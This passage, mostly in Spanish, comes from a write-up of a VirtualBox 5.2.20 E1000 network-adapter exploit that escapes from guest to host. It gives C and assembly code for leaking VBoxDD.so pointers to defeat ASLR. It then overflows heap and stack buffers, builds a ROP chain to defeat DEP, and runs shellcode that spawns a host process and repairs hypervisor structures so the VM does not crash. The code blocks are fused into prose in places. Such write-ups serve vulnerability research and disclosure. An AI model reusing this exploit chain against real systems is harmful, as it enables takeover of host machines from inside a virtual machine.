0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6
Parece que hay un puntero a una cadena colocado en un desplazamiento fijo desde la base de imagen de VBoxDD.so. El puntero se encuentra en el desplazamiento 0x58 al final de ACPIState. Podemos leer ese puntero byte a byte usando las primitivas y finalmente obtener la base de imagen de VBoxDD.so. Solo esperamos que los datos más allá de la estructura ACPIState no sean aleatorios en cada arranque de la máquina virtual. Con suerte, no lo son; el puntero en el desplazamiento 0x58 siempre está ahí.
Ahora combinamos las primitivas de escritura y lectura y las explotamos para evadir ASLR. Desbordaremos el heap sobrescribiendo la estructura EEPROM93C46, luego activaremos el autómata finito de EEPROM para escribir el índice en la estructura ACPIState, y luego ejecutaremos INB(0x4107) en el invitado para acceder a ACPI y leer un byte del puntero. Repite eso 8 veces incrementando el índice en 1.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and
// the stack buffer.
e1000_disable_loopback_mode(mmio);
uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
stage_1_overflow_heap_buffer(mmio, tx_ring, i);
leaked_bytes[i] = stage_1_leak_byte();
printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}
uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);
return vboxdd_base;
}
Se ha dicho que para que el subdesbordamiento de entero no conduzca al desbordamiento del búfer de pila, ciertos registros E1000 deberían estar configurados. La idea es que el búfer se desborda en la función e1kHandleRxPacket, que se invoca al manejar los descriptores Tx en el modo loopback. En efecto, en el modo loopback el invitado envía paquetes de red a sí mismo, por lo que se reciben justo después de ser enviados. Deshabilitamos este modo para que e1kHandleRxPacket sea inalcanzable.
### Bypass de DEP
Hemos eludido ASLR. Ahora el modo loopback puede habilitarse y el desbordamiento del búfer de pila puede desencadenarse.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
off_t buffer_pa;
void* buffer_va;
alloc_buffer(&buffer_pa, &buffer_va);
stage_2_set_up_buffer(buffer_va, vboxdd_base);
stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);
free_buffer(buffer_va);
}
void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
printk(KERN_INFO PFX"##### Stage 2 #####\n");
e1000_enable_loopback_mode(mmio);
stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
e1000_disable_loopback_mode(mmio);
}
Por ahora, cuando se ejecuta la última instrucción de e1kHandleRxPacket, la dirección de retorno guardada se sobrescribe y el control se transfiere a cualquier lugar que el atacante quiera. Pero DEP sigue ahí. Se evita de la forma clásica construyendo una cadena ROP. Los gadgets ROP asignan memoria ejecutable, copian un cargador de shellcode en ella y lo ejecutan.
El cargador de shellcode es trivial. Copia el comienzo del búfer que se desborda junto a él.```asm use64
start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop
payload: ; Here the shellcode is to be
loader_size = $ - start
El shellcode se ejecuta. Su primera parte es:```asm
use64
start:
; sys_fork
mov rax, 58
syscall
test rax, rax
jnz continue_process_execution
; Initialize argv
lea rsi, [cmd]
mov [argv], rsi
; Initialize envp
lea rsi, [env]
mov [envp], rsi
; sys_execve
lea rdi, [cmd]
lea rsi, [argv]
lea rdx, [envp]
mov rax, 59
syscall
...
cmd db '/usr/bin/xterm', 0
env db 'DISPLAY=:0.0', 0
argv dq 0, 0
envp dq 0, 0
It does fork and execve to create /usr/bin/xterm process. The attacker gains control over the host's ring 3.
Creo que todo exploit debería estar terminado. Significa que no debería hacer fallar una aplicación, aunque no siempre es posible, por supuesto. Necesitamos que la máquina virtual continúe la ejecución, lo cual se logra con la segunda parte del shellcode.```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48
; Skip junk
add rsp, 0x10
; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15
; Skip junk
add rsp, 0x8
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb
; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1")
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0
; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted
ret
Cuando se llama a e1kHandleRxPacket, una pila de llamadas es:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...
Saltaremos directamente a e1kR3NetworkDown_XmitPending, que no hace nada más y regresa a una función del hipervisor.```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }
El shellcode añade 0x48 a RBP para que quede como debe estar en e1kR3NetworkDown_XmitPending. A continuación, los registros RBX, R12, R13, R14 y R15 se toman de la pila porque la System V ABI exige preservarlos en una función invocada. Si no se hace, el hipervisor fallará debido a punteros no válidos en ellos.
Podría ser suficiente porque la máquina virtual ya no falla y continúa ejecutándose. Pero habrá una violación de acceso en la función PDMR3QueueDestroyDevice cuando la VM se apague. La razón es que cuando el heap se desborda, una estructura importante llamada PDMQUEUE se sobrescribe. Además, es sobrescrita por los dos últimos gadgets ROP, es decir, los últimos 16 bytes. Intenté reducir el tamaño de la cadena ROP y fallé, pero cuando reemplacé los datos manualmente, el hipervisor seguía fallando. Eso significaba que el obstáculo no era tan obvio como parecía.
La estructura de datos que se sobrescribe es una lista enlazada. Los datos a sobrescribir están en el penúltimo elemento de la lista; se sobrescribe un puntero al siguiente elemento. El remedio resultó ser simple:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
Eliminar los dos últimos elementos permite que la máquina virtual se apague sin problemas.